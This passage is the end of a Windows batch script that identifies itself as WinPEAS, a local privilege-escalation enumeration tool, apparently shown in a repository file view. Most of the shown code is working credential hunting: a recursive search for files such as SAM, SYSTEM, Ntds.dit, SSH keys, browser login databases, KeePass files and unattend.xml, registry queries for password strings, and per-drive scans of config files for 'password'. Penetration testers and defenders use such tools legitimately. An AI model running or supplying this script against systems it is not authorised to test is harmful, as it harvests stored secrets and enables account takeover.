dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)
ECHO.
CALL :T_Progress 2
:ExtendedDriveScan
if "%long%" == "true" (
CALL :ColorLine " %E%33m[+]%E%97m REGISTRY WITH STRING pass OR pwd"
reg query HKLM /f passw /t REG_SZ /s
reg query HKCU /f passw /t REG_SZ /s
reg query HKLM /f pwd /t REG_SZ /s
reg query HKCU /f pwd /t REG_SZ /s
ECHO.
ECHO. [i] Iterating through the drives
ECHO.
where wmic >nul 2>&1
if !errorlevel! equ 0 (
for /f %%x in ('wmic logicaldisk get name') do (
set tdrive=%%x
if "!tdrive:~1,2!" == ":" (
%%x
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
ECHO.
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
ECHO.
)
)
) else (
for /f %%x in ('powershell -command "Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Root -match ':'} | Select-Object -ExpandProperty Name"') do (
%%x:
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
ECHO.
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
ECHO.
)
)
CALL :T_Progress 2
) ELSE (
CALL :T_Progress 2
)
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Idle
ECHO.---
ECHO.Scan complete.
PAUSE >NUL
EXIT /B
:::-Subroutines
:SetOnce
REM :: ANSI escape character is set once below - for ColorLine Subroutine
for /F %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a"
SET "E=%ESC%["
SET "PercentageTrack=0"
EXIT /B
:T_Progress
SET "Percentage=%~1"
SET /A "PercentageTrack=PercentageTrack+Percentage"
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Scanning... !PercentageTrack!%%
EXIT /B
:ColorLine
SET "CurrentLine=%~1"
ECHO.!CurrentLine!
EXIT /B

View File

Binary file not shown.

View File

Binary file not shown.

View File

File diff suppressed because it is too large Load Diff

View File

Binary file not shown.

View File

Binary file not shown.